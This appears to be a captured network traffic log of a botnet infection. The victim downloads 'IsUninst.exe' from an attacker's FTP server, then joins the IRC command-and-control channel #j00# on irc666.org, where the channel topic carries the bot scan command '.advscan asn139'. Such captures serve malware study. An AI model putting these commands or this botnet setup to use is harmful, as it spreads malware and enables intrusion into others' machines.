ATTACKER: 220 StnyFtpd 0wns j0 VICTIM: USER 1 ATTACKER: 331 Password required VICTIM: PASS 1 ATTACKER: 230 User logged in. VICTIM: PORT 192,168,1,36,4, ATTACKER: 200 PORT command successful. ATTACKER: RETR IsUninst.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye happy r00ting. VICTIM: PASS _A159753 VICTIM: NICK USA|50863USER ypktxgk 0 0 :USA|50863 VICTIM: : USERID : UNIX : lsxsamx ATTACKER: PING :1465760211 ATTACKER: PONG :1465760211 ATTACKER: :irc666.org 001 USA|50863 :Welcome to the Internet Relay Network USA|50863:irc666.org 002 USA|50863 :Your host is irc666.org, running version beware1.5.7:irc666.org 003 USA|50863 :This server was created Tue Jul 13 2004 at 20:36:07 GMT:irc666.org 004 USA|50863 irc666.org beware1.5.7 dgikoswx biklmnoprstv:irc666.org 422 USA|50863 :MOTD File is missing:irc666.org NOTICE USA|50863 :on 1 ca 1(4) ft 10(10) VICTIM: JOIN #j00# VICTIM: JOIN #j00# USERHOST USA|50863MODE USA|50863 -x+iJOIN #j00# ATTACKER: :USA|06857!~ibuuqx@UNUSED-64-111-143-50.UNUSED.EPIX.NET JOIN :#j00#:USA|06857!~ibuuqx@UNUSED-64-111-143-50.UNUSED.EPIX.NET PRIVMSG #j00# :-\0034\002scan\002\003- Random Port Scan started on x.x.x.x:139 with a delay of 5 seconds for 0 minutes using 80 threads. ATTACKER: :irc666.org 302 USA|50863 :USA|50863=+lsxsamx@192.168.1.36:irc666.org 501 USA|50863 :Unknown MODE flag:USA|50863!lsxsamx@192.168.1.36 MODE USA|50863 :+i ATTACKER: :USA|50863!lsxsamx@192.168.1.36 JOIN :#j00#:irc666.org 332 USA|50863 #j00# :.advscan asn139 80 0 0 x.x.x.x -r:irc666.org 333 USA|50863 #j00# jvo 1199809924:irc666.org 353 USA|50863 = #j00# :USA|50863 USA|19145 ESP|41018 USA|46623 USA|47541 BRA|77240 BRA|51556 FRA|40666 BRA|61789 USA|55627 USA|81003 USA|78391 USA|96681 USA|89696 FRA|18064 USA|79681 USA|65023 USA|99650 ESP|60558 USA|49515 USA|71680 USA|82622 USA|96315 HUN|14583 SWE|85477 ESP|81805 USA|64168 USA|57319 USA|89655 USA|92543 BRA|30211 USA|54848 USA|30438 USA|65897 USA|46140 USA|04685 USA|96635 ESP|75286 ESP|72435 ESP|99398 DEU|07373 USA|19861 BRA|11867 USA|00625 BRA|09264 ESP|63154 USA|36603:irc666.org 353 USA|50863 = #j00# :USA|04084 USA|13877 USA|17081 USA|67747 USA|69154 FRA|93884:irc666.org 366 USA|50863 #j00# :End of /NAMES list.:USA|06857!~ibuuqx@UNUSED-64-111-143-50.UNUSED.EPIX.NET JOIN :#j00#:USA|06857!~ibuuqx@UNUSED-64-111-143-50.UNUSED.EPIX.NET PRIVMSG #j00# :-\0034\002scan\002\003- Random Port Scan started on x.x.x.x:139 with a delay of 5 seconds for 0 minutes using 80 threads.:irc666.org 302 USA|50863 :USA|50863=+lsxsamx@192.168.1.36:irc666.org 501 USA|50863 :Unknown MODE flag:USA|50863!lsxsamx@192.168.1.36 MODE USA|50863 :+i VICTIM: PRIVMSG #j00# :-\0034\002scan\002\003- Random Port Scan started on x.x.x.x:139 with a delay of 5 seconds for 0 minutes using 80 threads. ATTACKER: :USA|50863!lsxsamx@192.168.1.36 JOIN :#j00#:irc666.org 332 USA|50863 #j00# :.advscan asn139 80 0 0 x.x.x.x -r:irc666.org 333 USA|50863 #j00# jvo 1199809924:irc666.org 353 USA|50863 = #j00# :USA|50863 USA|19145 ESP|41018 USA|46623 USA|47541 BRA|77240 BRA|51556 FRA|40666 BRA|61789 USA|55627 USA|81003 USA|78391 USA|96681 USA|89696 FRA|18064 USA|79681 USA|65023 USA|99650 ESP|60558 USA|49515 USA|71680 USA|82622 USA|96315 HUN|14583 SWE|85477 ESP|81805 USA|64168 USA|57319 USA|89655 USA|92543 BRA|30211 USA|54848 USA|30438 USA|65897 USA|46140 USA|04685 USA|96635 ESP|75286 ESP|72435 ESP|99398 DEU|07373 USA|19861 BRA|11867 USA|00625 BRA|09264 ESP|63154 USA|36603:irc666.org 353 USA|50863 = #j00# :USA|04084 USA|13877 USA|17081 USA|67747 USA|69154 FRA|93884:irc666.org 366 USA|50863 #j00# :End of /NAMES list.